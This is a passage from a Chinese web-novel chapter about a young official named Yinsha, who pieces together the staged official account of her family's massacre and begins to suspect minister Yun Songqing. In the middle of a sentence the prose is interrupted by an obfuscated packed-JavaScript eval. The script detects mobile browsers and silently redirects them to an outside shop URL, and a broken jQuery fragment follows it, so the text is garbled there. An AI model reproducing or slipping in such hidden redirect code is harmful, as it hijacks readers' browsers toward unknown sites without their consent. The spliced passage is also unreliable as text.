又听到这个名字,银沙忍不住开口,她故意问道:“这位浸大人又是什么样的人呢?”
“噗……什么浸大人?人家是异族,没有姓只有名,名字就是浸心月,朝中的官员称呼也都是叫一句浸心月大人。这浸心月深得我父皇器重,当年锦西国一败,就立刻将她派去修建通天塔。谁知道后来……”大皇子皱眉:“谁知道她后来怎么犯了浑,竟然偷偷从锦西跑回了京都。不仅如此竟在当天就被劫匪杀死于家中,连同她的族人,都死在了那晚……”
“听说死的可惨了,人死了一院子不说,还被放了水焚尸。要不是水龙队去的快,只怕那些死尸都要烧得尸骨无存了。可怜啊……”那位公子哥又接过话头,只是这话题刚刚大皇子说着的时候还好,但是到了他这里,嘴里说着可怜,言语间全是不在意。
这桩惨事在他面前不过是一件酒桌上的谈资。
银沙垂着头听着,那晚一共死了二十六。月氏一族灭门被人提过很多次,但是从来没有人说起过那天晚上到底死了多少人。
二十六个人似乎无足轻重,不足以成为人们需要记忆的事情。他们是谁不重要,他们因何而死不重要,重要的是死一院子人才够吸引别人的注意力成为酒桌上的谈资。
人命如同草芥一般。
即便心里在流泪,但是面上还是得体的表情:“真吓人,但是死这么多人都是劫匪所为?怎么瞧着像是仇家寻仇啊?”
大皇子的目光扫过来,轻轻一眼,却似是审判一样钉在银沙身上,他轻笑一声开口:“要不说银沙大人聪明呢,本殿下也曾与你有一样的想法。甚至为此还去请示我父皇,亲自去调查了此案。
浸心月的家中所有财物全部都被洗劫一空,我顺着院子里留下的足迹,找到了城外有流民逗留的痕迹,又跟着那些人的踪迹追踪到了邻州的一处山上,那山上有一群悍匪,在匪头的私库里我找到了浸心月的财物。刑审之下,那些人也认了罪。这案子才算是了结了。”
这一次算是银沙第一次从别人口中听到了家中灭门的官方说法,她追问道:“那些劫匪后来呢?”
“后来?”那坐着喝酒的公子哥又不长记性地插嘴:“这事我记得。当时大殿下把那些匪徒押解回京的时候,大家都很愤慨,不少人上街去看。朝廷也觉得这灭门性质太恶劣,再加上浸心月可是圣上亲封的正五官官员,朝中以云颂卿云大人为首,很多大人一起上奏恳请圣上严惩凶手,最后那些劫匪全都斩首示众了。”
死了,才能死无对证。
听完两人这么一说,银沙已经拼凑出了一个官方的关于灭门惨案的前因后果。若不是她那天晚上就在现场,只怕也要被迷惑了。
每一个细节都伪装得很完美,甚至替罪羊都找得很合适。安定候身边能把这事情做得这么圆满的只有严子书了。
看着银沙牵着黑豹离开的背影,大皇子面无表情地挥挥手:“送奈公子离开。”
奈公子正是刚刚那个随意插嘴的喝酒公子,他一脸懵地抬起头,只是脸颊上已经带着酒晕:“为什么要离开?不是说我进京之后就住在殿下府上吗?我离开要去哪里?”
他的问题很多,但是大殿下一个字都不想回答,他背对着奈公子看都懒得看他一眼。
侍卫们不顾奈公子的拼命挣扎,硬是将人拖了出去。白林远远地朝着奈公子行了一礼,目送这位宗氏子弟离开。
直至再也看不见奈公子的身影,白林才直起身子。
大皇子有些气愤地转身坐下:“好歹也是宗氏子弟,怎么的这么没有规矩?”
白林上前为他倒了一杯茶道:“宗氏子嗣不丰,又都是娇宠着长大的,难免会出现这样的问题。”
大皇子气得将茶一饮而尽后直接砸了茶盏:“真是事事不顺。”
白林也不吭声了,站到大皇子身后轻轻地为他捏着肩,过了半晌他才开口:“为何殿下会相信那个蝴蝶?我瞧着她也不像是会说真话的人。”
大皇子听到他终于问这个问题,这才笑了起来:“我还以为你不会问呢。”
白林轻笑一声:“关于殿下的事情,我都关心。”
大皇子听了心中一暖,伸手紧紧握住白林的手:“有时候我真的会想,如果我没有生在皇家,那该多好。”
“殿下这话若是让旁人听了又该说您荒唐了。”白林温柔地回答,他垂下眼睛转移话题:“这样将银沙的目光引向云颂卿真的合适吗?”
大皇子沉默,其实他心中也没有底,甚至他都无法确定这个银沙到底是不是蝴蝶说的那个人,现在的情势太过复杂,他也没有办法洞穿全局,只能这样走一步算一步。
许是看出了他的想法,白林反手握住他的手,安抚道:“会顺利的。一切都会顺利的。”
大皇子虽然点着头,但是脸上的表情却见不到一点放松,他知道这世上最多的就是事与愿违。
另一头的银沙也回到了府中,发现铁玄心在院子里搭了一个小棚子,里头摆了几个炭炉,旁边是一架子的调物料。
她竟然在这里建了一个小厨房?这会儿她还在厨房里忙碌着,进到厨房里就看到老太太凑在砂锅前在看汤。
“怎么的在这里做饭?而且……交给厨娘就好了,何苦自己辛苦?”银沙进来想帮忙,却被铁玄心赶走。
“诶,一股子油烟味,你来干嘛?去洗洗手,换身常服。今天给你炖了汤,等会儿多喝些,今天这汤可好了。”铁玄心笑眯眯地将人推去洗手,等人走了才重新回到炉子前,左右看看并没有人,才掏出银针来。
她把每一道菜都用银针试过,确定无毒后才一一端去上饭厅。
清风与明月早早地等在了桌前,银沙换好衣服过来的时候已经都准备好了,只等她。
“今日师父怎么的有雅兴亲自做菜?”银沙接过铁玄心为她盛的汤,品了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338790|190799||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口,果然鲜得掉眉毛,满意地又喝一口。
铁玄心笑眯眯道:“嘿,你们以后有口福了。我决定从今天开始我们自己吃的饭菜都由我亲自来做。”
“哇,师父,那你得多辛苦啊!以后多做鱼虾,我爱吃!嘿嘿!”明月笑着一边拍马屁一边顺势提出自己的要求。
“行,明天我就去码头看看。”铁玄心一口就答应下来。
“今日你怎么回来晚了?”明月问道。
“我今天下值后去了大皇子府。”说到正事,银沙便严肃了起来。
“可是遇到了什么事?”一看她的神情铁玄心就猜测道。
“确实。”银沙想了想:“从前天的画舫开始,有一个人的名字总是出现,让我有些在意。”
“谁?”清风与明月异口同声地问道。
“户部尚书云颂卿。”
听到这个名字让铁玄心不由自主地多眨了一下眼睛:“你觉得这位云大人有问题?”
银沙摇摇头:“倒不是这个意思。只是觉得这个人出现得很频繁,而且……”她顿了顿说道:“我听大皇子府里的一个公子说大皇子抓住的那些劫匪是这位云大人牵头上书,要求重罚的。”
明月不明白这有什么:“重罚不好吗?”
“重罚固然是好的,但是这不更像是一种欲盖弥彰吗?因为只有死人才不会说话。那群劫匪一个不留全都被斩了首。”
铁玄心摇摇头道:“看来这群劫匪要么是屈打成招,要么就是被钱收买了。这样确实是都杀了更安全。”
“那这么说,这个云颂卿确实有嫌疑!”明月面色凝重地点点头,银沙和铁玄心师父说得好有道理,她听了都有一种恍然大悟的感觉。
“也不能这么说。”谁料银沙又摇摇头不认同这个观点。
“为何?”明月已经被绕糊涂了。
“因为我娘为人正直,是个不可多得的好官,在朝中不仅没有树敌,还曾获不少赞誉。她惨死,朝中有官员为她发声也是情理之中的事情。”
银沙轻声说着,让明月一下子又想起浸心月当初带着她们一起学习的情景,一时间泪意涌上心头:“师父真的是一个很好的人。”
这句话让饭桌上的气氛一下子就凝重了,片刻后银沙才冷冷说了一句:“可惜好人没有好报。”
看气氛不对,铁玄心拿起筷子给几个孩子布菜:“那我们得想个办法来接近一下这位云大人。”
“我也正有这个打算,我想着,是不是可以从之前奉仙司的账目入手……”在今天又听到云颂卿这个名字的时候,银沙心里已经有了打算:“晚饭结束后帮我备车,我要去见安定候。”
等银沙的马车停在安定候府门口时,温良早已守在阶下,见马车帘微动,他便快步上前躬身等候。
银沙掀帘下车,一身素色道袍衬得身姿愈发纤细,只是眉宇间藏着几分连日操劳的倦意无法掩饰。